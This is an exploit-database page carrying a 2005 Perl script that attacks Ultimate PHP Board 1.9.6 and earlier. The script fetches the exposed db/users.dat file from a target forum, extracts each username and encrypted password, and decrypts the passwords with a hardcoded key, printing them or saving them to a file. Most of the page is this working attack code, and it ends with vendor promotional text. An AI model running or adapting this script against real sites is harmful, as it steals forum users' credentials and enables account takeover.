Lucene search
K

Ultimate PHP Board <= 1.9.6 GOLD users.dat Password Decryptor

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 20 Views

Ultimate PHP Board <= 1.9.6 GOLD users.dat Password Decryptor by Alberto Triver

Code

                                                #!/usr/bin/perl
#
# Passwords Decrypter for UPB &#60;= 1.9.6
# Related advisory: http://www.securityfocus.com/archive/1/402461/30/0/threaded
# Discovered and Coded by Alberto Trivero

# Password file is located at: http://www.example.com/upb/db/users.dat   /str0ke


use Getopt::Std;
use LWP::Simple;
getopt(&#39;hfu&#39;);

print &#34;\n\t========================================\n&#34;;
print &#34;\t= Passwords Decrypter for UPB &#60;= 1.9.6 =\n&#34;;
print &#34;\t=          by Alberto Trivero          =\n&#34;;
print &#34;\t========================================\n\n&#34;;

if(!$opt_h or !($opt_f or $opt_u) or ($opt_f && $opt_u)) {
   print &#34;Usage:\nperl $0 -h [full_target_path] [-f [output_file_name] OR -u [username]]\n\n&#34;;
   print &#34;Examples:\nperl $0 -h http://www.example.com/upb/ -f results.txt\n&#34;;
   print &#34;perl $0 -h http://www.example.com/upb/ -u Alby\n&#34;;
   exit(0);
}

$key=&#34;wdnyyjinffnruxezrkowkjmtqhvrxvolqqxokuofoqtneltaomowpkfvmmogbayankrnrhmbduzfmpctxiidweripxwglmwrmdscoqyijpkzqqzsuqapfkoshhrtfsssmcfzuffzsfxdwupkzvqnloubrvwzmsxjuoluhatqqyfbyfqonvaosminsxpjqebcuiqggccl&#34;;
$page=get($opt_h.&#34;db/users.dat&#34;) || die &#34;[-] Unable to retrieve: $!&#34;;
print &#34;[+] Connected to: $opt_h\n&#34;;
@page=split(/\n/,$page);

if($opt_f) {
   open(RESULTS,&#34;+&#62;$opt_f&#34;) || die &#34;[-] Unable to open $opt_f: $!&#34;;
   print RESULTS &#34;Results for $opt_h\n&#34;,&#34;=&#34;x40,&#34;\n\n&#34;;
   for($in=0;$in&#60;@page;$in++) {
      $page[$in]=~m/^(.*?)&#60;~&#62;/ && print RESULTS &#34;Username: $1\n&#34;;
      $page[$in]=~m/^$1&#60;~&#62;(.*?)&#60;~&#62;/ && print RESULTS &#34;Crypted Password: $1\n&#34;;
      &decrypt;
      print RESULTS &#34;Decrypted Password: $crypt\n\n&#34;;
      $crypt=&#34;&#34;;
   }
   close(RESULTS);
   print &#34;[+] Results printed correct in: $opt_f\n&#34;;
}

if($opt_u) {
   for($in=0;$in&#60;@page;$in++) {
      if($page[$in]=~m/^$opt_u&#60;~&#62;(.*?)&#60;~&#62;/) {
        print &#34;[+] Username: $opt_u\n&#34;;
        print &#34;[+] Crypted Password: $1\n&#34;;
         &decrypt;
         print &#34;[+] Decrypted Password: $crypt\n&#34;;
         exit(0);
      }
   }
   print &#34;[-] Username &#39;$opt_u&#39; doesn&#39;t exist\n&#34;;
}

sub decrypt {
   for($i=0;$i&#60;length($1);$i++) {
      $i_key=ord(substr($key, $i, 1));
      $i_text=ord(substr($1, $i, 1));
      $n_key=ord(substr($key, $i+1, 1));
      $i_crypt=$i_text + $n_key;
      $i_crypt-=$i_key;
      $crypt.=chr($i_crypt);
   }
}

# milw0rm.com [2005-06-16]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation